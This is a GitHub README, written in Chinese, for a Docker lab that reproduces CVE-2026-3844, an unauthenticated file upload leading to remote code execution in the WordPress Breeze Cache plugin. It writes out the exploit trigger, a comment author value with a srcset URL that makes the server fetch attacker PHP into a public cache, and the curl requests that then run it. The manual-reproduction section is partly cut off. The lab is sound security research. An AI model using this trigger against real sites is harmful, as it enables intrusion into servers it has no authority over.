rootdirective-sec/CVE-2026-3844-Lab
GitHub: rootdirective-sec/CVE-2026-3844-Lab
基于 Docker 的 CVE-2026-3844 漏洞复现实验环境,演示 WordPress Breeze Cache 插件因 Gravatar 本地缓存功能缺陷导致的未认证任意文件上传与远程代码执行。
Stars: 0 | Forks: 0
# CVE-2026-3844 — Breeze Cache 未认证任意文件上传导致 RCE 实验环境
本仓库演示了 **Breeze Cache 2.4.4** 中的易受攻击行为,并将其与 **Breeze Cache 2.4.5** 中修复后的行为进行了对比。该实验环境使用了两个相互隔离的 WordPress 服务(一个存在漏洞,一个已修补),外加 Docker 网络内部的一个本地 payload 服务器。
此概念验证(PoC)是有意设计为**最小危害**的:它不使用 webshell,不暴露命令参数,不启动反向 shell,也不需要从容器内部读取文件。该证明基于从主机观察到的 HTTP 行为。
## 核心要点概述
CVE-2026-3844 影响至 `2.4.4` 版本(含)的 WordPress Breeze Cache 插件。易受攻击的代码路径与插件的本地 Gravatar 缓存功能有关,特别是 `fetch_gravatar_from_remote()` 流程。
当启用 Breeze 选项 **Host Files Locally - Gravatars** 时,易受攻击的版本可以获取由攻击者控制的远程文件,并将其存储在可公开访问的 Web 缓存目录下。如果获取的文件是 PHP 文件,当通过 HTTP 请求时,该文件可能会被 Web 服务器执行。
本实验环境在本地重现了该行为:
* `vuln` 服务:WordPress + Breeze Cache `2.4.4`
* `patched` 服务:WordPress + Breeze Cache `2.4.5`
* `payload` 服务:仅在本地 Docker 内部运行的 payload 服务器
* PoC:使用受控 `srcset` 字符串进行未认证的基于评论的触发
预期结果如下:
* `http://127.0.0.1:8081` / Breeze `2.4.4` → 证明 PHP 被缓存并执行
* `http://127.0.0.1:8082` / Breeze `2.4.5` → 证明 PHP 未被缓存/读取/执行
## 仓库结构
```
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
├── .gitignore
├── README.md
├── requirements.txt
```
## 实验架构
```
Host machine
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> local payload server
Docker network
│
├── vuln -> WordPress vulnerable target
├── patched -> WordPress patched target
├── vuln_db -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload -> Python static HTTP server
```
WordPress 容器通过 Docker 网络 URL 获取 payload:
```
http://payload:9100/.php
```
主机通过标准的 HTTP 请求验证结果。
## 受影响的组件
* 产品:WordPress 的 Breeze Cache 插件
* 本实验中的易受攻击版本:`2.4.4`
* 本实验中的已修补版本:`2.4.5`
* 易受攻击的函数:`fetch_gravatar_from_remote()`
* 相关文件:`inc/class-breeze-cache-cronjobs.php`
* 必需前提条件:必须启用 `breeze-store-gravatars-locally`
只有当启用了本地 Gravatar 缓存时,才能触发该易受攻击的行为。在典型的安装中,此选项默认是禁用的,但本实验为了重现易受攻击的代码路径而故意启用了它。
## 根本原因总结
在 Breeze Cache `2.4.4` 中,Gravatar 本地化流程可以从与 avatar 相关的 HTML 中提取远程 URL,并将该 URL 传递给 `fetch_gravatar_from_remote()`。
易受攻击的版本缺乏对远程文件的充分验证:
* 对 Gravatar 来源没有严格的受信主机验证
* 在保存之前没有可靠的文件扩展名白名单
* 在将文件放入公共缓存目录之前没有 MIME/内容验证
* 获取的文件可能会保留危险的扩展名,如 `.php`
生成的文件被存储在以下路径:
```
/wp-content/cache/breeze-extra/gravatars/
```
当 PHP 文件被保存在那里随后通过 Apache/PHP 请求时,服务器会执行它。
在 Breeze Cache `2.4.5` 中,修补后的流程增加了验证,可阻止本实验的 payload 被作为可执行 PHP 缓存。在本地重现过程中,相同的触发方式对 `2.4.4` 有效,但不会在 `2.4.5` 中暴露证明标记。
## 为什么本实验使用 MU 插件助手
本实验有意将 payload 服务器保持在本地,而不使用公共 payload 主机。
WordPress 的 `download_url()` 和 WordPress HTTP API 默认会拒绝某些私有 Docker 主机名和非标准端口。公开的漏洞利用脚本通常使用公共 HTTPS payload URL,这可以避开该限制。本实验没有这样做。
为了使重现过程完全本地化,初始化脚本安装了一个仅限本地使用的小型 MU 插件助手,该助手:
* 仅允许本地 Docker payload 主机名 `payload` 和 `payload.local`
* 仅允许实验端口 `80` 和 `9100`
* 自动批准实验评论
* 禁用评论洪流检查,以实现确定性的本地测试
此助手**不**修改 Breeze 源代码。易受攻击的服务和已修补的服务都使用了通过 WP-CLI 安装的真实 Breeze 插件版本。
该助手的存在仅仅是为了让 Docker 实验环境具有确定性且完全在本地运行。
## 安全模型
本仓库仅用于本地安全研究和作品集演示。
安全防护措施:
* 仅在 `localhost` 和 Docker 网络服务上运行
* 无外部回调服务器
* 无公共漏洞利用目标
* 无反向 shell
* 无交互式 shell
* 无 `cmd=` webshell 行为
* 无机密信息或真实凭据
* 无需读取容器文件即可证明
* 通过 HTTP 响应行为观察证明
PoC payload 输出良性的 PHP 运行时信息:
```
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_
php_sapi=apache2handler
user=www-data
uid=33
pid=
host=
```
这证明了代码执行上下文,而无需生成 shell 命令。
## 环境要求
* Docker Desktop 或 Docker Engine
* Docker Compose v2
* Python 3.9+
* Python 软件包:`requests`
安装 Python 依赖:
```
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```
`requirements.txt` 应包含:
```
requests
```
## 快速开始
构建并启动实验环境:
```
docker compose down -v --remove-orphans
docker compose up -d --build
```
检查服务状态:
```
docker compose ps
```
预期服务:
```
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
```
检查初始化日志:
```
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
```
预期日志行:
```
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
```
## 验证实验就绪状态
检查 WordPress 安装:
```
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
```
检查 Breeze 版本:
```
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
```
预期结果:
```
2.4.4
2.4.5
```
检查易受攻击的前提条件:
```
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
```
预期结果:
```
1
1
```
检查 WordPress 能否获取本地 payload 服务:
```
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
```
如果 `proof-cve3844.php` 尚不存在,请在 `payload/` 目录下创建任何临时文件或运行一次 PoC。
## 运行 PoC
针对易受攻击的服务运行:
```
python3 poc/poc.py --base-url http://127.0.0.1:8081
```
预期易受攻击结果:
```
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
```
示例证明输出:
```
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_
php_sapi=apache2handler
user=www-data
uid=33
pid=
host=
```
针对已修补的服务运行:
```
python3 poc/poc.py --base-url http://127.0.0.1:8082
```
预期已修补结果:
```
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
```
诸如 `301 Moved Permanently` 之类的重定向不被视为证明。PoC 要求在 HTTP 响应正文中出现唯一的标记。
## PoC 的工作原理
PoC 执行以下仅在本地进行的流程:
1. 在 `payload/` 目录下生成一个唯一的 PHP 证明文件。
2. 通过本地 payload 服务提供该文件。
3. 发布一条未经身份验证的 WordPress 评论,其 author 值包含:
```
x srcset=http://payload:9100/.php
```
4. 请求 WordPress 文章页面以触发 Breeze avatar 处理。
5. 检查预期的公共 Breeze 缓存路径:
```
/wp-content/cache/breeze-extra/gravatars/.php
```
6. 仅当唯一的证明标记出现在 HTTP 响应中时,才确认存在漏洞。
7. 除非使用 `--keep-payload` 参数,否则将删除生成的本地 payload 文件。
PoC 不会从目标容器内部读取文件。证据是通过 HTTP 从主机收集的。
## 手动重现
创建手动 payload:
```
cat > payload/manual-proof.php <<'PHP'
/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
```
预期的 HTML 证据:
```
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
```
请求缓存的 PHP 文件:
```
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
```
预期的易受攻击证明:
```
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=
host=
```
检查 payload 日志:
```
docker compose logs --tail=50 payload
```
预期结果:
```
GET /manual-proof.php HTTP/1.1" 200
```
## 预期结果
| 目标 | Breeze 版本 | 预期结果 |
| ----------------------- | -------------- | -------------------------------------------- |
| `http://127.0.0.1:8081` | `2.4.4` | PHP 证明被获取、缓存并执行 |
| `http://127.0.0.1:8082` | `2.4.5` | PHP 证明标记未被暴露 |
## 清理
停止并移除容器、网络和卷:
```
docker compose down -v --remove-orphans
```
如需要,移除生成的 payload 文件:
```
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
```
## 参考文献
- NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
- Patchstack Database — WordPress Breeze Cache Plugin <= 2.4.4 Unauthenticated Arbitrary File Upload via `fetch_gravatar_from_remote`:
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
- Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 Unauthenticated Arbitrary File Upload:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
- Wordfence Blog — Active exploitation coverage for Breeze Cache vulnerability:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
- Breeze Cache plugin page:
https://wordpress.org/plugins/breeze/
- WordPress plugin downloads used in this lab:
- Breeze Cache 2.4.4:
https://downloads.wordpress.org/plugin/breeze.2.4.4.zip
- Breeze Cache 2.4.5:
https://downloads.wordpress.org/plugin/breeze.2.4.5.zip
- WordPress Plugin Trac — Breeze source reference, `class-breeze-cache-cronjobs.php`:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
- WordPress Plugin Trac — Breeze patched source reference, `class-breeze-cache-cronjobs.php`:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php
## 免责声明
本项目仅供经授权的本地安全研究使用。请勿对您不拥有或未获得明确测试许可的系统运行 PoC。
标签:Breeze Cache, CISA项目, CVE-2026-3844, Docker靶场, PHP代码执行, PoC, RCE, Web安全, WordPress漏洞, 任意文件上传, 提示词注入, 文件完整性监控, 暴力破解, 未授权访问, 本地Gravatar缓存, 漏洞分析, 漏洞复现, 版权保护, 编程工具, 蓝队分析, 请求拦截, 路径探测, 远程代码执行, 逆向工具